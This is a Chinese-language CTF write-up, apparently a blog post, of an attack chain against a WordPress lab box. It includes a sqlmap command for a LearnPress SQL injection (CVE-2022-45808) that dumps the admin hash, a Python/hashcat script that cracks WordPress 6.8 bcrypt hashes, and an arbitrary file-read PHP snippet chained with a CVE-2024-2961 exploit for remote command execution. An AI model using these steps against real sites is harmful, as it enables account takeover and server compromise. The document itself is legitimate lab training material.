NSS-Arena SafeBlog writeup
NSS-Arena SafeBlog writeup
最近发的内容都是渗透靶场相关,一方面原因是虽然放假了,但是还有一些学校里的项目和自己的一些项目在做,在没有成果之前还想没有很多值得分享的内容;另一方面确实是对ctf失去了一些热情,感觉现在的比赛都是大家一起用agent抽奖,没有什么意义,可能后续考虑去尝试一些别的安全内容吧。
flag1
进入是一个 wordpress 站点,首先查看版本

发现版本为 WordPress 6.8.3
首先考虑是否有已知的 cve,查询一下发现没有对这个版本敏感的漏洞,所以使用漏扫工具看一下有没有历史漏洞
nuclei --target http://node2.anna.nssctf.cn:29477/ -tags wordpress

存在 CVE-2022-45808,搜索得知漏洞存在于 WordPress LearnPress Plugin,是一个未授权 sqli
https://github.com/RandomRobbieBF/CVE-2022-45808
可以尝试用 sqlmap 进行攻击,这里是一个时间盲注,因此对网络有一定要求
另一个方法是查看 nuclei 的漏洞检测的 payload 进行使用
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45808.yaml
主要的注入参数在 order_by,尝试构造
sqlmap -u 'http://node2.anna.nssctf.cn:29477/wp-json/lp/v1/courses/archive-course' --data='c_search=X&order_by=ID&order=DESC&limit=10&return_type=html' -p 'order_by' --batch --sql-query "SELECT user_pass FROM wp_users WHERE id = 1" --time-sec 2
可以根据 sqlmap 的信息动态调整一下语句

$wp$2y$10$UleD4hOVFm.9tawvyBcW5Oa7S0e5/LPaqCB9PnayZL9ipkKddTa8e
flag2
下一步需要根据哈希爆破密码,题目提供了密码集合,需要做清洗
注意到密码存在重复项,做一下去重
import argparse
from pathlib import Path
def remove_duplicate_lines(input_file: str, output_file: str) -> None:
seen = set()
unique_lines = []
with open(input_file, "r", encoding="utf-8", errors="replace") as file:
for line in file:
content = line.rstrip("\r\n")
if content not in seen:
seen.add(content)
unique_lines.append(content)
with open(output_file, "w", encoding="utf-8", newline="\n") as file:
for line in unique_lines:
file.write(line + "\n")
print(f"Done:{len(unique_lines)} 行已写入 {output_file}")
if __name__ == "__main__":
input_path = Path("pass.txt")
remove_duplicate_lines("pass.txt", "unique_pass.txt")
最终得到 10 万行候选
爆破得到的哈希是 wordpress 的格式,因此需要看一下 wordpress 的源码找一下哈希的机制
这里让 ai 帮忙找即可
https://github.com/WordPress/WordPress/blob/6.8.4/wp-includes/pluggable.php#L2648
function wp_hash_password(
#[\SensitiveParameter]
$password
) {
global $wp_hasher;
if ( ! empty( $wp_hasher ) ) {
return $wp_hasher->HashPassword( trim( $password ) );
}
if ( strlen( $password ) > 4096 ) {
return '*';
}
$algorithm = apply_filters( 'wp_hash_password_algorithm', PASSWORD_BCRYPT );
$options = apply_filters( 'wp_hash_password_options', array(), $algorithm );
// Algorithms other than bcrypt don't need to use pre-hashing.
if ( PASSWORD_BCRYPT !== $algorithm ) {
return password_hash( $password, $algorithm, $options );
}
// Use SHA-384 to retain entropy from a password that's longer than 72 bytes, and a `wp-sha384` key for domain separation.
$password_to_hash = base64_encode( hash_hmac( 'sha384', trim( $password ), 'wp-sha384', true ) );
// Add a prefix to facilitate distinguishing vanilla bcrypt hashes.
return '$wp' . password_hash( $password_to_hash, $algorithm, $options );
}
endif;
可以看到编码为 $wp + bcrypt(base64(sha384($password))),sha384 固定密钥 wp-sha384
bcrypt 部分可以用 hashcat 做碰撞,但是前面的加密步骤需要用脚本做一下转换。
import subprocess
import os
import hmac
import hashlib
import base64
def wp68_preprocess_password(raw_password: str) -> str:
"""复现WP6.8+密码预处理,输出字符串用于生成新字典"""
pwd_trim = raw_password.strip()
hmac_raw = hmac.new(
key=b"wp-sha384",
msg=pwd_trim.encode("utf-8"),
digestmod=hashlib.sha384
).digest()
password_to_hash = base64.b64encode(hmac_raw).decode("utf-8")
return password_to_hash
def preprocess_wordlist(original_wordlist_path: str, output_wordlist_path: str):
"""读取原始字典,全部经过wp预处理,输出新字典"""
total = 0
with open(original_wordlist_path, "r", encoding="utf-8", errors="ignore") as fin, \
open(output_wordlist_path, "w", encoding="utf-8") as fout:
for line in fin:
line = line.rstrip("\r\n")
transformed = wp68_preprocess_password(line)
fout.write(transformed + "\n")
total += 1
print(f"[*] 字典预处理完成,共 {total} 条,输出:{output_wordlist_path}")
def strip_wp_prefix_hash(origin_hash_file: str, output_hash_file: str):
"""
$wp$2b$xxx → $2b$xxx,生成hashcat‑m3200可用的哈希文件
保留旧版 $2a/$2b 普通bcrypt不变
"""
count = 0
skip = 0
with open(origin_hash_file, "r", encoding="utf-8") as fin, \
open(output_hash_file, "w", encoding="utf-8") as fout:
for line in fin:
h = line.strip()
if not h:
continue
if h.startswith("$wp"):
clean_hash = h[3:]
fout.write(clean_hash + "\n")
count += 1
elif h.startswith("$2"):
fout.write(h + "\n")
count += 1
else:
print(f"[!] 跳过无效哈希行:{h}")
skip += 1
print(f"[*] 哈希清洗完成:有效 {count},跳过 {skip},输出:{output_hash_file}")
def crack_wp_hash():
# ========== 配置区 ==========
origin_hash_file = "./hash.txt"
origin_wordlist = "./unique_pass.txt"
# 预处理输出文件(中间产物)
processed_hash = "./hashcat_ready_hash.txt"
processed_wordlist = "./hashcat_ready_wordlist.txt"
# hashcat参数
hashcat_bin = "hashcat"
hashcat_mode = "3200"
hashcat_args = [
"-a", "0",
"-O",
"-w", "3",
"--session", "wp68_hashcat"
]
# ============================
# 文件检查
if not os.path.exists(origin_hash_file):
print(f"[!] 找不到哈希文件 {origin_hash_file}")
return
if not os.path.exists(origin_wordlist):
print(f"[!] 找不到原始字典 {origin_wordlist}")
return
print("[*] 第一步:清洗哈希,移除$wp前缀,生成hashcat可用哈希文件")
strip_wp_prefix_hash(origin_hash_file, processed_hash)
print("\n[*] 第二步:对原始字典全部执行WP6.8密码预处理,生成变换后的字典")
preprocess_wordlist(origin_wordlist, processed_wordlist)
print("\n[*] 第三步:调用hashcat -m3200执行字典爆破")
cmd = [hashcat_bin, "-m", hashcat_mode, *hashcat_args, processed_hash, processed_wordlist]
print(f"[*] 执行命令: {' '.join(cmd)}")
print("-" * 70)
try:
proc = subprocess.Popen(cmd)
proc.communicate()
if proc.returncode == 0:
print("\n[+] hashcat执行完成")
print(f"[*] 查看结果命令:hashcat -m {hashcat_mode} --show {processed_hash}")
print("[!] 注意:hashcat输出的是【变换后的字符串】,不是原始密码!")
print("[!] 需要映射回原始密码,不能直接拿hashcat输出当明文!")
elif proc.returncode == 1:
print("\n[-] 变换后的字典中未找到匹配项")
else:
print(f"\n[!] hashcat异常退出,returncode={proc.returncode}")
except FileNotFoundError:
print("[!] 未找到hashcat,请确认已安装并在PATH中")
except Exception as e:
print(f"[!] 异常:{e}")
if __name__ == "__main__":
crack_wp_hash()
得到结果:

对应的密码为
Cr3zy_Thursday_v1vo_5o
flag3
使用该密码登录到网站后台
先尝试找找现成的洞
尝试通过插件上传功能传一个反弹 shell 的马,但是无法安装

包括主题页面也没办法做上传和代码的编辑
注意到存在插件 Insert PHP Code Snippet,能够内嵌 php 代码

测试将代码嵌入访客界面的 footer


但是没有办法 rce 甚至 phpinfo,disable_function 挺多的
尝试打一个 LFI2RCE
<?php
error_reporting(0);
if (isset($_POST['file'])) {
echo "File Contents: " . file_get_contents($_POST['file']);
} else {
highlight_file(__FILE__);
}
?>
LFI2RCE 用 cve-2024-2961 打,大致修改一下脚本
这里本来有附带修改后的脚本,但是带着脚本博客发不出来,修改的内容主要是send()函数的正则提取需要忽略文件内容后续的一些标签,也可以直接只匹配base64相关的字符。原脚本使用的是https://github.com/ambionics/cnext-exploits/
python file2rce.py http://node2.anna.nssctf.cn:29477/ "ls / > /tmp/1"

使用/readflag 做读取


浙公网安备 33010602011771号